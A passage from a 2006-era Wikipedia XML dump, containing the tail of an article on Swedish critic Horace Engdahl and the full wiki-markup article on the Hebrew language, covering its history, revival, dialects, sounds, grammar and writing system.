      <text xml:space="preserve">'''Horace Engdahl''' (born [[December 30]], [[1948]]) is a [[Sweden|Swedish]] literary historian and critic. He has been the permanent secretary of the [[Swedish Academy]] since 1999.

Engdahl was born in [[Karlskrona]], Sweden. He earned his B.A. in 1970 at [[Stockholm University]], and began his doctoral studies there; he completed his Ph.D. only in 1987, with a study on Swedish [[romanticism]], but had meanwhile been active as a literary critic, translator and journal editor, and was one of the introducers of the continental tradition of literary scholarship in Sweden. He is currently adjunct professor of Scandinavian literature at the [[University of Aarhus]] in [[Denmark]]. He speaks [[Swedish language|Swedish]], [[English language|English]], [[German language|German]], [[French language|French]] and [[Russian language|Russian]] fluently.

In 1997, Engdahl became a member of the [[Swedish Academy]], elected to the seat vacated by the death of [[Johannes Edfelt]]; in [[1999]], he succeeded [[Sture Allén]] as the Academy's permanent secretary, i.e. its executive member and spokesperson. As such, he has the annual task of announcing the recipient of the [[Nobel prize in literature]] to the press.

He is married to [[Ebba Witt-Brattström]], professor of literature at the [[Södertörn University College]] outside [[Stockholm]]. Together they have the sons Caspar, Marcel and Fabius.

==External links==
*[http://www.svenskaakademien.se/ENG/members/lmp/chair17.html Presentation] at the official website of the [[Swedish Academy]]

[[Category:1948 births|Engdahl, Horace]]
[[Category:Living people|Engdahl, Horace]]
[[Category:Members of the Swedish Academy|Engdahl, Horace]]
[[Category:Polyglots|Engdahl, H]]

[[de:Horace Engdahl]]
[[sv:Horace Engdahl]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew language</title>
    <id>13450</id>
    <revision>
      <id>41731958</id>
      <timestamp>2006-03-01T10:10:39Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>clean using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Hebrew
|nativename=עִבְרִית ''‘Ivrit''
|pronunciation=/ʔivˈʁit/ (standard Israeli), /ʕivˈriθ/ (oriental), /ivˈʀis/ ([[Ashkenazi Hebrew language|Ashkenazi]])
|region=[[Israel]] and other countries
|speakers=app. 7.5 million (including app. 700,000 non-Jewish speakers in Gaza/West Bank/Israel proper). 195,375 in the United States.&lt;sup&gt;1&lt;/sup&gt;&lt;br&gt;&lt;small&gt;
&lt;sup&gt;1&lt;/sup&gt;''United States Census 2000 PHC-T-37. Ability to Speak English by Language Spoken at Home: 2000. [http://www.census.gov/population/cen2000/phc-t37/tab01a.pdf Table 1a.]&lt;/small&gt;''
|familycolor=Afro-Asiatic
|fam2=[[Semitic languages|Semitic]]
|fam3=[[West Semitic languages|West Semitic]]
|fam4=[[Central Semitic languages|Central Semitic]]
|fam5=[[Northwest Semitic languages|Northwest Semitic]]
|fam6=[[Canaanite languages|Canaanite]]
|script=[[Hebrew alphabet|Hebrew abjad]]
|nation=[[Israel]]
|agency=[[Academy of the Hebrew Language]]&lt;br&gt;(האקדמיה ללשון העברית ''HaAqademia LaLashon Ha‘Ivrit'')
|iso1=he|iso2=heb|iso3=heb|
&lt;!-- Linguasphere code: 12-AAB --&gt;
&lt;!-- The Linguasphere code is for future reference, if Linguasphere codes are put into the infobox. --&gt;}}

'''Hebrew''' (עִבְרִית ''‘Ivrit'') is a [[Semitic languages|Semitic language]] of the [[Afro-Asiatic languages|Afro-Asiatic language family]] spoken by more than 7 million people, mainly in [[Israel]], the [[West Bank]], the [[United States]] and by [[Jews|Jewish]] communities around the world. The core of the [[Tanakh]] (sometimes referred to as the [[Hebrew Bible]]), the [[Torah]] (which [[Christianity]] and [[Judaism]] traditionally hold to have been first recorded in the time of [[Moses]] 3,300 years ago), is written in (Biblical) [[Classical Hebrew]]. [[Jew]]s have always called it {{Ivrit|&amp;#1500;&amp;#1513;&amp;#1493;&amp;#1503; &amp;#1492;&amp;#1511;&amp;#1493;&amp;#1491;&amp;#1513;}} ''Leshon ha-Kodesh'' (&quot;The Sacred Language&quot;) as the scriptures written in this language were considered sacred. Most scholars agree that after the first destruction of [[Jerusalem]] by [[Nebuchadnezzar II]] and the [[Babylon]]ians in [[586 BCE]], the kind of Hebrew prevalent in the [[Tanakh]] was replaced in daily use by [[Mishnaic]] Hebrew and a local version of [[Aramaic]]. After the depletion of the Jewish population of parts of [[Iudaea Province|Roman occupied Judea]], it is believed that Hebrew gradually ceased to be a spoken language roughly around [[200|200 CE]], but remained a major written language throughout the centuries. Not only religious, but texts for a large variety of purposes: letters and contracts, science, philosophy, medicine, poetry, protocols of courts&amp;mdash;all resorted to Hebrew, which thus adapted itself to various new fields and terminologies by borrowings and new inventions. 

Hebrew was revitalized as a spoken language during the late 19th and early [[20th century]] as Modern Hebrew, replacing a score of languages spoken by the Jews at that time, such as [[Arabic language|Arabic]], [[Ladino language|Ladino]] (also called Judezmo), [[Yiddish language|Yiddish]], [[Russian language|Russian]], and other languages of the [[Jewish diaspora]] as the spoken language of the majority of the [[Jewish]] people living in [[Israel]].

Because of its large disuse for centuries, Hebrew lacked many modern words. Several were adapted from the Hebrew Bible or from other languages by [[Eliezer Ben-Yehuda]]. Largely because of this, modern Hebrew became an official language in British-ruled Palestine in 1921, and the primary official language of [[Israel |the State of Israel]], (Arabic maintained its official language status). The Hebrew name for the language is {{Ivrit|&amp;#1506;&amp;#1489;&amp;#1512;&amp;#1497;&amp;#1514;}}, or ''‘Ivrit'' ([[International Phonetic Alphabet|IPA]]: {{IPA|/iv&amp;#690;rit/}})

==History==
While the term &quot;Hebrew&quot; as a nationality is customarily used to refer to the ancient [[Israelite]]s, the classical Hebrew language was extremely similar to the [[Canaanite languages]] spoken by their neighbors, such as [[Phoenician language|Phoenician]]; indeed, [[Moabite language|Moabite]] and Hebrew are often considered to be two dialects of the same language.

Hebrew strongly resembles [[Aramaic language|Aramaic]] and to a lesser extent South-Central [[Arabic language|Arabic]], sharing many linguistic features with them.

===Early history===
Hebrew is an Afro-Asiatic language. This language family is generally thought by linguists to have originated somewhere in northeastern [[Africa]], and began to diverge around the [[8th millennium BCE]], although there is much debate about the exact date and place. (The theory is espoused by most archeologists and linguists, but at odds with traditional reading of the Torah.)  One branch of this family, [[Semitic languages|Semitic]], eventually reached the [[Middle East]]; it gradually differentiated into a variety of related languages.

By the end of the [[3rd millennium BCE]] the ancestral languages of [[Aramaic]], [[Ugaritic]], and other various [[Canaanite]] languages were spoken in the [[Levant]] alongside the influential dialects of [[Ebla]] and [[Akkad]]. As the Hebrew founders from northern [[Harran|Haran]] filtered south into and came under the influence of the Levant, like many sojourners into Canaan including the [[Philistines]], they adopted Canaanite dialects. The first written evidence of distinctive Hebrew, the [[Gezer calendar]], dates back to the [[10th century BCE]], the traditional time of the reign of [[David]] and [[Solomon]]. It presents a list of seasons and related agricultural activities. The [[Gezer]] calendar (named after the city in whose proximity it was found) is written in an old Semitic script, akin to the [[Phoenician alphabet|Phoenician]] one that through the [[ancient Greece|Greek]]s and [[Etruscan civilization|Etruscan]]s later became the [[Roman script]]. The Gezer calendar is written without any vowels, and it does not use consonants to imply vowels even in the places where more modern spelling requires it (see below).

[[Image:Silwan-inscr.jpg|left|300px|thumb|The [[Shebna]] lintel, from the tomb of a royal steward found in [[Siloam]], dates to the 7th century BCE.]]
Numerous older tablets have been found in the region with similar scripts written in other Semitic languages, for example [[Protosinaitic]]. It is believed that the original shapes of the script go back to the hieroglyphs of the Egyptian writing, though the phonetic values are instead inspired by the [[acrophonic]] principle. The common ancestor of Hebrew and Phoenician is called [[Canaanite]], and was the first to use a Semitic alphabet distinct from Egyptian. One ancient document is the famous [[Moabite Stone]] written in the Moabite dialect; the [[Siloam Inscription]], found near [[Jerusalem]], is an early example of Hebrew. Less ancient samples of Old Hebrew include the [[ostracon | ostraka]] found near [[Lachish]] which describe events preceding the final capture of Jerusalem by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] and the Babylonian captivity of [[586 BCE]].

The most famous work originally written in Hebrew is the [[Tanakh]], though the time at which it was written is a matter of dispute (see [[dating the Bible]] for details). The earliest extant copies were found among the [[Dead Sea Scrolls]], written between the [[2nd century BCE]] and the [[1st century]] CE.

The formal language of the latter [[Babylonia|Babylonian Empire]] was Aramaic (its name is either derived from &quot;Aram Naharayim&quot;, Upper Mesopotamia, or from &quot;Aram,&quot; the ancient name for Syria). The [[Persian Empire]], which had captured Babylonia a few decades later under Cyrus, adopted Aramaic as the official language. [[Aramaic]] is also a North-West Semitic language, quite similar to Hebrew. Aramaic has contributed many words and expressions to Hebrew, mainly as the language of commentary in the [[Talmud]] and other religious works.

In addition to numerous words and expressions, Hebrew also borrowed the [[Aramaic alphabet|Aramaic writing system]]. Although the original Aramaic letter forms were derived from the same Phoenician alphabet that was used in ancient Israel, they had changed significantly, both in the hands of the Mesopotamians and of the Jews, assuming the forms familiar to us today around the [[1st century|first century]] CE. Writings of that era (most notably, some of the [[Dead Sea Scrolls]] found in [[Qumran]]) are written in a script very similar to the &quot;square&quot; one still used today.

===Later history===
The Jews living in the Persian Empire adopted Aramaic, and Hebrew quickly fell into disuse. It was preserved, however, as the literary language of Bible study. Aramaic became the vernacular language of the renewed Judaea for the following 700 years. Famous works written in Aramaic include the [[Targum]], the [[Talmud]] and several of [[Flavius Josephus]]' books (several of the latter were not preserved, however, in the original.) Following the [[Destruction of Jerusalem|destruction of Jerusalem and the Second Temple]] in [[70]] CE, the Jews gradually began to disperse from Judaea into foreign countries (this dispersion was hastened when the Romans destroyed Jerusalem (and turned it into a pagan city named ''Aelia Capitolina'') in 135 CE after putting down [[Bar Kokhba's revolt]].) For many hundreds of years Aramaic remained the spoken language of Mesopotamian Jews, and [[Lishana Deni]], one of several [[Judæo-Aramaic language]]s, is a modern descendant that is still spoken by a few thousand Jews (and many non-Jews) from the area known as [[Kurdistan]]; however, it gradually gave way to Arabic, as it had given way to other local languages in the countries to which the Jews had gone.

Hebrew was not used as a mother tongue for roughly 1800 years. However the Jews have always devoted much effort to maintaining high standards of literacy among themselves, the main purpose being to let any Jew read the [[Tanakh|Hebrew Bible]] and the accompanying religious works in the original (see [[rabbinic literature]], [[Halakha#Codes of Jewish law | Codes of Jewish law]], [[Judaism#The Traditional Jewish Bookshelf | The Jewish Bookshelf]]). It is interesting to note that the languages that the Jews assimilated from their adopted nations, namely [[Ladino language|Ladino]] and [[Yiddish language|Yiddish]], were not directly connected to Hebrew (the former being based on Spanish and Arabic borrowings, and the latter being a remote dialect of [[Middle High German]]), however, both were written from right to left using the Hebrew script and incorporated many Hebrew words. Hebrew was also used as a language of communication among Jews from different countries, particularly for the purpose of international trade.

The most important contribution to preserving traditional Hebrew pronunciation in this period was that of scholars called [[Masoretes]] (from ''masoret'' meaning &quot;tradition&quot;), who from about the seventh to the tenth centuries CE devised detailed markings to indicate vowels, stress, and [[cantillation]] (recitation methods). The original Hebrew texts used only consonants, and later some consonants were used to indicate long vowels. By the time of the Masoretes this text was considered too sacred to be altered, so all their markings were in the form of pointing in and around the letters.

===Revival===
[[Image:Ben-yehuda.jpg|thumb|Eliezer Ben-Yehuda]]
The revival of Hebrew as a [[mother tongue]] was initiated by the efforts of [[Eliezer Ben-Yehuda]] ([[1858]]-[[1922]]) ({{Ivrit|&amp;#1488;&amp;#1500;&amp;#1497;&amp;#1506;&amp;#1494;&amp;#1512; &amp;#1489;&amp;#1503;&amp;#1470;&amp;#1497;&amp;#1492;&amp;#1493;&amp;#1491;&amp;#1492;}}).  He joined the [[Zionism|Jewish national movement]] and in [[1881]] emigrated to [[Eretz Israel]], then a part of the [[Ottoman Empire]]. Motivated by the surrounding ideals of renovation and rejection of the [[Jewish diaspora|diaspora]] &quot;[[shtetl]]&quot; lifestyle, Ben-Yehuda set out to develop tools for making the [[literary language|literary]] and [[liturgical language]] into everyday [[spoken language]]. 

However, his brand of Hebrew followed norms that had been replaced in [[Eastern Europe]] by more modern grammar and style, in the writings of people like [[Asher Ginsberg|Achad Ha-Am]] and others. His organizational efforts and involvement with the establishment of schools and the writing of textbooks  pushed the [[vernacular|vernacularization]] activity into a gradually accepted movement. It was not, however, until the 1904-1905 &quot;[[Aliyah|Second aliyah]]&quot; that Hebrew had caught real momentum in Ottoman Palestine with the new and better organized enterprises set forth by the new group of immigrants. When the [[British Mandate of Palestine]] recognized Hebrew as one of the country's three official languages (English, Arabic, and Hebrew, in 1922), its new formal status contributed to its diffusion.

While many saw his work as fanciful or even blasphemous{{ref|blasphemy}}, many soon understood the need for a common language amongst Jews of pre-state Israel who at the turn of the [[20th century]] were arriving in large numbers from diverse countries and speaking different languages. A Committee of the Hebrew Language was established. Later it became the [[Academy of the Hebrew Language]], an organization that exists today. The results of his and the Committee's work were published in a dictionary (''The Complete Dictionary of Ancient and Modern Hebrew''). Ben-Yehuda's work fell on fertile ground, and by the beginning of the 20th century, Hebrew was well on its way to becoming the main language of the Jewish population of both Ottoman and British pre-State Israel.

=== Hebrew language in the USSR ===
{{main articles|[[History of the Jews in Russia and the Soviet Union]] and [[Yevsektsiya]]}}

The Soviet authorities considered Hebrew a &quot;reactionary language&quot; since it was associated with both [[Judaism]] and [[Zionism]], and it was officially banned by the Narkompros (Commissariat of Education) as early as [[1919]]. Hebrew books and periodicals ceased to be published and were seized from the libraries. Despite numerous protests in the West{{ref|Klatzkin}}, teachers and students who attempted to study Hebrew language were pilloried and sentenced for &quot;counter revolutionary&quot; and later for &quot;anti-Soviet&quot; activities.

==Dialects==
According to Ethnologue, dialects of Hebrew include Standard Hebrew (General Israeli, Europeanized Hebrew), Oriental Hebrew (Arabized Hebrew, Yemenite Hebrew).

In practice, there is also [[Ashkenazi Hebrew language|Ashkenazi Hebrew]], still widely used in Ashkenazi Jewish religious services and studies in Israel and abroad. It was influenced by the [[Yiddish language]].

[[Sephardi Hebrew language|Sephardi Hebrew]] is the basis of Standard Hebrew and not all that different from it, although traditionally it has had a greater range of [[phoneme]]s. It was influenced by the [[Ladino language]].

[[Mizrahi Hebrew language|Mizrahi (Oriental) Hebrew]] is actually a collection of dialects (including [[Yemenite Hebrew language|Yemenite]]) spoken liturgically by Jews in various parts of the [[Arab]] and [[Islam|Islamic]] world.  It was influenced by the [[Arabic language]].

Nearly every immigrant to Israel is encouraged to adopt Standard Hebrew as their daily language. Phonologically, this &quot;dialect&quot; may most accurately be described as an amalgam of pronunciations preserving Sephardic vowel sounds and Ashkenazic consonant sounds&amp;mdash;its recurring feature being simplification of differences among a wide array of pronunciations.  This simplifying tendency also accounts for the collapse of the Ashkenazic /t/ and /s/ pronunciations of unaspirated and aspirated &amp;#1514; into the single phoneme /t/.  Most Sephardic dialects differentiated between these two pronunciations as /t/ and /&amp;theta;/.  Within Israel, the pronunciation of &quot;Standard Hebrew&quot;, however, more often reflects the national or ethnic origin of the individual speaker, rather than the specific recommendations of the [[Academy of the Hebrew Language|Academy]].  For this reason, over half the population pronounces &amp;#1512; as {{unicode|[&amp;#640;]}}, (a uvular trill, as in Yiddish and some varieties of [[German language|German]]) or as {{unicode|[&amp;#641;]}} (a uvular fricative, as in [[French language|French]] or many varieties of German), rather than as [r], an apical trill, as in [[Spanish language|Spanish]].  The pronunciation of this phoneme is often used among Israelis as a [[shibboleth]], or determinant when ascertaining the national origin of perceived foreigners.

==Languages strongly influenced by Hebrew==
''See main article [[Jewish languages]]''

[[Yiddish language|Yiddish]], [[Ladino language|Ladino]], [[Karaim language|Karaim]], and [[Judeo-Arabic language|Judaeo-Arabic]] were all highly influenced by Hebrew.  Although none is completely derived from Hebrew, they all make extensive use of Hebrew [[loanword]]s.

In a less direct manner, the revival of Hebrew is often cited by proponents of [[International auxiliary language|International auxiliary languages]] as the best proof that languages long dead, with small communities, or modified or created artificially can become living languages used by a large number of people.

==Sounds==
{{IPA notice}}
Hebrew has two kinds of [[lexical stress|stress]]: on the last syllable (''milra&amp;lsquo;'') and on the penultimate syllable (the one preceding the last, ''mil&amp;lsquo;el''). The former is more frequent. Specific rules connect the location of the stress with the length of the vowels in the last syllable; however due to the fact that Modern Hebrew does not distinguish between long and short vowels, these rules are often ignored in everyday speech. Interestingly enough, the rules that specify the [[vowel length]] are different for verbs and nouns, which influences the stress; thus the ''mil&amp;lsquo;el''-stressed ''ókhel'' (=&quot;food&quot;) and ''milra&amp;lsquo;''-stressed ''okhèl'' (=&quot;eats&quot;, masculine) are written in the same way. Little ambiguity exists, however, due to nouns and verbs having incompatible roles in normal sentences. This is, however, also true in English, in, for example, the English word &quot;conduct,&quot; in its nominal and verbal forms.

===Vowels===
[[Image:Hebrew vowel chart.png|right|The vowel phonemes of Modern Israeli Hebrew]]
The Hebrew word for [[vowel]]s is ''tnu&amp;lsquo;ot''.  The marks for these vowels are called [[Niqqud]].  Modern Israeli Hebrew has 5 vowel [[phoneme]]s:

* /a/ (as in &quot;car&quot;) - The vowels qamatz and patakh
* /e/ (as in &quot;set&quot;) - The vowels seggol and tzereh
* /i/ (as in &quot;beak&quot;)- The vowel khiriq
* /o/ (as in &quot;horn&quot;)- The vowel kholam
* /u/ (as in &quot;room&quot;)- The vowels shuruq and qubbutz

In [[Biblical Hebrew]], each vowel had three forms: short, long and interrupted (''hataf''). However, there is no audible distinction between the three in modern Israeli Hebrew.

Hebrew [[phonetics]] include a special feature called [[schwa | shva (schwa)]]. According to &quot;Ha-Yesod, the Fundamentals of Hebrew&quot; by Luba Uveeler and Norman M. Broznick, this feature is pronounced &quot;Shva&quot; and is spelled Shin Vav He. There are two kinds of shva: resting (''nax'') and moving (''na' ''). The resting shva is pronounced as a brief stop of speech. The moving shva sounds much like the English ''a'' in '''a'''bout.

Hebrew also has ''[[dagesh]],'' a strengthening. There are two kinds of strengthenings: light (''qal'', known also as ''dagesh lene'') and heavy (''hazaq'' or ''dagesh forte''). There are two sub-categories of the heavy dagesh: structural heavy (''hazaq tavniti'') and complementing heavy (''hazaq mashlim''). The light affects the  phonemes /b/ /k/ /p/ in the beginning of a word, or after a resting schwa. Structural heavy emphases belong to certain vowel patterns (''mishkalim'' and ''binyanim''; see the section on grammar below), and correspond originally to doubled consonants. Complementing strengthening is added when [[assimilation (linguistics)|vowel assimilation]] takes place. As mentioned before, the emphasis influences which of a pair of (former) [[allophone]]s is pronounced. Interestingly enough, historical evidence indicates that /g/, /d/ and /t/ used to have strengthened versions of their own, however they had disappeared from virtually all the spoken dialects of Hebrew. All other consonants except [[guttural]]s may receive the heavy emphasis, as well.

One-letter words are always attached to the following word. Such words include: the definite [[article (grammar)|article]] ''h'' (=&quot;the&quot;); [[preposition]]s ''b'' (=&quot;in&quot;), ''m'' (=&quot;from&quot;), ''l'' (=&quot;to&quot;); [[Grammatical conjunction|conjunction]]s ''sh'' (=&quot;that&quot;), ''k'' (=&quot;as&quot;, &quot;like&quot;), ''v'' (=&quot;and&quot;). The vowel that follows the letter thus attached depends in general on the beginning of the next word and the presence of a definite article which may be swallowed by the one-letter word. 

The rules for the prepositions are complicated and vary with the formality of speech. In most cases they are followed by a moving schwa, and for that reason they are pronounced as ''be'', ''me'' and ''le''. In more formal speech, if a preposition is put before a word which begins with a moving schwa, then the preposition takes the vowel /i/ (and the initial consonant is weakened), but in colloquial speech these changes do not occur. For example, colloquial ''be-kfar'' (=&quot;in a village&quot;) becomes ''bi-khfar''. If ''l'' or ''b'' are followed by the definite article ''ha'', their vowel changes to /a/. Thus *''be-ha-matos'' becomes ''ba-matos'' (=&quot;in the plane&quot;). However it does not happen to ''m'', therefore ''me-ha-matos'' is a valid form, which means &quot;from the plane&quot;.

:''* indicates that the given example is not grammatically correct''

===Consonants===
The Hebrew word for consonants is ''&amp;lsquo;itsurim'' (&amp;#1506;&amp;#1497;&amp;#1510;&amp;#1493;&amp;#1512;&amp;#1497;&amp;#1501;).

{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
|-
!
! colspan=&quot;2&quot; | [[Bilabial]]
! colspan=&quot;2&quot; | [[Labiodental]]
! colspan=&quot;2&quot; | [[Alveolar consonant|Alveolar]]
! colspan=&quot;2&quot; | [[Postalveolar|Post]]-&lt;br&gt;[[Postalveolar|alveolar]] {{fn|1}}
![[Palatal]]
! colspan=&quot;2&quot; | [[Velar]]
! colspan=&quot;2&quot; | [[Uvular]]
! colspan=&quot;2&quot; | [[Glottal]]
|- align=center
|[[Plosive|Stops]]
|[[voiceless bilabial plosive|{{IPA|p}}]] {{fn|2}}
|[[voiced bilabial plosive|{{IPA|b}}]] {{fn|2}}
| colspan=&quot;2&quot; |
|[[voiceless alveolar plosive|{{IPA|t}}]]
|[[voiced alveolar plosive|{{IPA|d}}]]
| colspan=&quot;2&quot; |
|
|[[voiceless velar plosive|{{IPA|k}}]] {{fn|2}}
|[[voiced velar plosive|{{IPA|g}}]]
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |[[glottal stop|{{IPA|&amp;#660;}}]]
|- align=center
|[[Fricative]]s
| colspan=&quot;2&quot; |
|[[voiceless labiodental fricative|{{IPA|f}}]] {{fn|2}}
|[[voiced labiodental fricative|{{IPA|v}}]] {{fn|2}}
|[[voiceless alveolar fricative|{{IPA|s}}]]
|[[voiced alveolar fricative|{{IPA|z}}]]
|[[voiceless postalveolar fricative|{{IPA|ʃ}}]]
|[[voiced postalveolar fricative|{{IPA|ʒ}}]]
|
| colspan=&quot;2&quot; |[[voiceless velar fricative|{{IPA|x}}]] {{fn|2}}
| colspan=&quot;2&quot; |[[voiced uvular fricative|{{IPA|&amp;#641;}}]]
|[[voiceless glottal fricative|{{IPA|h}}]]
|
|- align=center
|[[Affricate]]s
| colspan=&quot;2&quot; |
|
|
|[[voiceless alveolar affricate|{{IPA|&amp;#678;}}]]
|
|[[voiceless postalveolar affricate|{{IPA|&amp;#679;}}]]
|[[voiced postalveolar affricate|{{IPA|&amp;#676;}}]]
|
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|
|
|- align=center
|[[Nasal]]s
| colspan=&quot;2&quot; |[[bilabial nasal|{{IPA|m}}]]
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |[[alveolar nasal|{{IPA|n}}]]
| colspan=&quot;2&quot; |
|
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
|[[Lateral]]s
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |[[alveolar lateral approximant|{{IPA|l}}]]
| colspan=&quot;2&quot; |
|
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|- align=center
|[[Approximant]]s
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|[[palatal approximant|{{IPA|j}}]]
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|}

&amp;#1506; was once pronounced as a [[voiced pharyngeal fricative]]. Modern [[Ashkenazi]] (Northern and Eastern European Jews) reading tradition ignores this; however, [[Mizrahi Jew|Mizrahi]] (Middle Eastern and North African Jews) and Israeli Arabs accent these phonemes in a traditional semitic fashion which resembles [[Arabic language|Arabic]] `ain &amp;#1593;. Georgian Jews pronounce it as a glottalized g. Western European [[Sephardim]] and Dutch [[Ashkenazi]]m traditionally pronounce it {{IPA|[ŋ]}} (like ''ng'' in ''sing'') &amp;#8212; a pronunciation which can also be found in the [[Italki]] tradition and, historically, in south-west Germany.

{{fnb|1}} Postalveolar sounds (with the exception of {{IPA|/&amp;#643;/}}) are not native to Hebrew, and only found in borrowings.

{{fnb|2}} The pairs (/b/, /v/), (/k/, /x/), (/p/, /f/), written respectively by the letters bet (&amp;#1489;), kaf (&amp;#1499;) and pe (&amp;#1508;) have historically been allophonic.  In Modern Hebrew, however, all six sounds are phonemic, due to mergers involving formerly distinct sounds (/v/ merging with /w/, /k/ merging with /q/, /x/ merging with {{IPA|/&amp;#295;/}}), loss of consonant gemination (which formerly distinguished the stop members of the pairs from the fricatives when intervocalic), and the introduction of syllable-initial /f/ through foreign borrowings.

===Historical sound changes===
Standard (non-Oriental) Israeli Hebrew (SIH) has undergone a number of splits and mergers in its development from [[Biblical Hebrew]] {{ref|Hetzron}}.
* BH /b/ had two [[allophone]]s, [b] and [v]; the [v] allophone has merged with /w/ into SIH /v/
* BH /k/ had two allophones, [k] and [x]; the [k] allophone has merged with /q/ into SIH /k/, while the [x] allophone has merged with {{Unicode|/ḥ/}} into SIH /x/
* BH /t/ and {{IPA|/ṭ/}} have merged into SIH /t/
* BH {{IPA|/ʕ/}} and {{IPA|/ʔ/}} have merged into SIH {{IPA|/ʔ/}}
* BH /p/ had two allophones, [p] and [f]; the incorporation of loanwords into Modern Hebrew has probably resulted in a split, so that /p/ and /f/ are separate phonemes

==Grammar==
''See main article [[Hebrew grammar]]

'''Hebrew grammar''' is mostly [[analytic language|analytical]], expressing such forms as [[dative case|dative]], [[ablative case|ablative]], and [[accusative case|accusative]] using [[preposition]]al particles rather than [[grammatical case]]s. However inflection does play an important role in the formation of the verbs, nouns and the [[genitive case|genitive]] construct, which is called &quot;smikhut&quot;. Words in smikhut are often combined with [[hyphen]]s.

==Writing system==  
Modern Hebrew is written from right to left using the [[Hebrew alphabet]]. Modern scripts are based on the &quot;square&quot; letter form. A similar system is used in handwriting, but the letters tend to be more circular in their character, and sometimes vary markedly from their printed equivalents. Biblical Hebrew text contains nothing but consonants and spaces, and most modern Hebrew texts contain only consonants, spaces and western-style [[punctuation]]. A pointing system (nikud, from the root word meaning &quot;points&quot; or &quot;dots&quot;) developed around the 5th Century C.E. is used to indicate vowels and syllabic stresses in some religious books,  and is almost always found in modern poetry, children's literature, and texts for beginning students of Hebrew. The system is also used sparingly to avoid certain ambiguities of meaning &amp;#8212; such as when context is insufficient to distinguish between two identically spelled words &amp;#8212; and in the transliteration of foreign names.

All Hebrew consonant phonemes are represented by a single letter. Although a single letter might represent two phonemes &amp;#8212; the letter &quot;bet,&quot; for example, represents both /b/ and /v/ &amp;#8212; the two sounds are always related &quot;hard&quot; ([[plosive]]) and &quot;soft&quot; ([[fricative]]) forms, their pronunciaton being very often determined by context. In fully pointed texts, the hard form normally has a dot, known as a [[dagesh]], in its center.
   
The letters hei, vav and yud can represent consonantal sounds (/h/, /v/ and /i/, respectively) or serve as a markers for vowels. In the latter case, these letters are called &quot;emot qria&quot; (&quot;[[mater lectionis|matres lectionis]]&quot; in Latin, &quot;mothers of reading&quot; in English). The letter hei at the end of a word usually indicates a final /a/, which in turn is usually indicative of feminine gender. Vav may represent /o/ or /u/, and yod may represent /i/. There is no consonantal marker for /e/. In some modern Israeli texts, the letter alef is used to indicate long /a/ sounds in foreign names, particularly those of Arabic origin.
   
Terminal syllabic emphasis is most common. Fully pointed texts will note variations with a vertical line placed underneath the first consonant of the emphasized syllable, to the left of the vowel mark if there is one.
   
===Romanization===  
''See also [[Romanization of Hebrew]]''
   
The Hebrew language is normally written in the [[Hebrew alphabet]]. Due to publishing difficulties, and the unfamiliarity of many readers with the alphabet, there are many ways of transcribing Hebrew into [[Roman alphabet|Roman letters]]. The most accurate method is the [[International Phonetic Alphabet]]. It is used (in a simplified [[ASCII]] form) in the section concerned with [[Hebrew language/Phonology|phonology]], to describe the sounds of the Hebrew language. However, the [[International Phonetic Alphabet|IPA]] is not well known, and is often considered cumbersome for transcribing pronunciations for a general audience. Therefore this article uses a different system to express Hebrew pronunciation, and at least some orthographic peculiarities. The system comes down to the following:  
   
* The letter tzadik (&amp;#1510;) is transcribed by &quot;s,&quot; although &quot;ts&quot; or &quot;tz&quot; is usually acceptable.  
* The letter &amp;lsquo;ayin (&amp;#1506;) is transcribed ', the same as alef.  In word-final position, this phoneme is always preceded by the vowel /a/. 
* The letter shin (&amp;#1513;) is transcribed by &quot;sh&quot;, and the letter sin as &quot;s&quot;.  
* Both the letter tav (&amp;#1514;) and the letter tet (&amp;#1496;) are transcribed by &quot;t&quot;.  
* The letter hey (&amp;#1492;) at the end of a word, in those cases where it marks feminine gender, is transcribed by &quot;ah&quot; (it is read /a/).
* The letter chet (&amp;#1495;) is usually transcribed by &quot;ch&quot;. &quot;kh&quot; is usually acceptable but not as common. &quot;h&quot; is occasionally used but often avoided as &quot;h&quot; is also used for hey (&amp;#1492;).
* The letter qof (&amp;#1511;) is transcribed by &quot;q&quot; (it is pronounced /k/ by many speakers).  
* Single-letter prepositions and the definite article are separated with a dash (-) from their subject.  
* Stresses and schwas are not marked.
* The vowels are always written.  
* The letter yod is usually transcribed by &quot;y&quot;.

==See also==  
*[[List of common phrases in various languages#Hebrew (Semitic)|Common phrases in Hebrew]]
*[[Cantillation]]  
*[[Hebrew alphabet]]  
*[[Niqqud]] (vowel points)  
*[[Samaritan Hebrew]]  
*[[The study of Hebrew]]
* [[Hebrew literature]]

==Notes==  
#{{note|blasphemy}} [http://www.jewishmag.com/43mag/ben-yehuda/ben-yehuda.htm Eliezer Ben Yehuda and the Resurgence of the Hebrew Language] by Libby Kantorwitz
#{{note|Klatzkin}} [http://www.zionistarchives.org.il/ZA/SiteE/pShowView.aspx?GM=Y&amp;ID=48&amp;Teur=Protest%20against%20the%20suppression%20of%20Hebrew%20in%20the%20Soviet%20Union%20%201930-1931 Protest against the suppression of Hebrew in the Soviet Union 1930-1931] signed by [[Albert Einstein]], among others
#{{note|Hetzron}} [[Robert Hetzron]]. ([[1987]]). Hebrew. In ''The World's Major Languages'', ed. [[Bernard Comrie]], 686–704. Oxford: Oxford University Press. ISBN 0-19-520521-9.

==Bibliography==
* [http://www.amazon.com/exec/obidos/tg/detail/-/0814736548 Hoffman, Joel M, ''In the Beginning:  A Short History of the Hebrew Language.'' New York:  NYU Press.] ISBN 0814736548.
